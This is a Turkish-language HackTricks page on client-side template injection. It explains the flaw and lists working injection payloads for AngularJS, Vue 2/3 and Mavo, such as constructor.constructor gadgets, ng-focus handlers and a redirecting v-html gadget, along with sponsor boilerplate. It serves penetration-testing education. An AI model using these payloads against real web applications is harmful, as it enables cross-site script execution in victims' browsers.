8.2 KiB
İstemci Tarafı Şablon Enjeksiyonu (CSTI)
Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklam görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
WhiteIntel
WhiteIntel, karanlık ağ destekli bir arama motorudur ve şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevler sunar.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
Özet
Bu, sunucu tarafı şablon enjeksiyonu gibi ancak istemci tarafında gerçekleşir. SSTI, uzak sunucuda kod yürütmenize izin verirken, CSTI, kurbanın tarayıcısında keyfi JavaScript kodunu yürütmenize izin verebilir.
Bu zafiyetin test edilmesi, SSTI durumunda olduğu gibi çok benzerdir, yorumlayıcı bir şablon bekler ve onu yürütür. Örneğin, {{ 7-7 }}
gibi bir yük ile, uygulama savunmasız ise bir 0
göreceksiniz ve değilse, orijinali göreceksiniz: {{ 7-7 }}
AngularJS
AngularJS, HTML ile etkileşime geçen yaygın olarak kullanılan bir JavaScript çerçevesidir ve ng-app
olarak bilinen direktifler aracılığıyla HTML ile etkileşime geçer. Bu direktif, AngularJS'in HTML içeriğini işlemesine izin verir ve çift süslü parantez içinde JavaScript ifadelerinin yürütülmesini sağlar.
Kullanıcı girdisinin dinamik olarak ng-app
ile etiketlenmiş HTML gövdesine eklenmesi durumunda, keyfi JavaScript kodunu yürütmek mümkündür. Bu, girişte AngularJS sözdiziminden yararlanarak başarılabilir. Aşağıda, JavaScript kodunun nasıl yürütülebileceğini gösteren örnekler bulunmaktadır:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Çok temel bir çevrimiçi örnek bulabilirsiniz AngularJS'de http://jsfiddle.net/2zs2yv7o/ ve Burp Suite Academy
{% hint style="danger" %}
Angular 1.6 kum havuzunu kaldırdı bu yüzden bu sürümden itibaren {{constructor.constructor('alert(1)')()}}
veya <input ng-focus=$event.view.alert('XSS')>
gibi bir yükleme çalışmalıdır.
{% endhint %}
VueJS
Zayıf bir Vue uygulamasını https://vue-client-side-template-injection-example.azu.now.sh/ adresinde bulabilirsiniz
Çalışan yükleme: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
Ve zayıf örneğin kaynak kodu burada: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
V3
Vue'da CSTI hakkında gerçekten iyi bir yazı https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets adresinde bulunabilir.
{{_openBlock.constructor('alert(1)')()}}
Kredi: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Kredi: Mario Heiderich
Daha fazla VUE yüklemelerini kontrol edin https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Yük:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Daha fazla yükleme için https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Kaba Kuvvet Algılama Listesi
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
WhiteIntel
WhiteIntel şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevler sunan karanlık ağ destekli bir arama motorudur.
WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.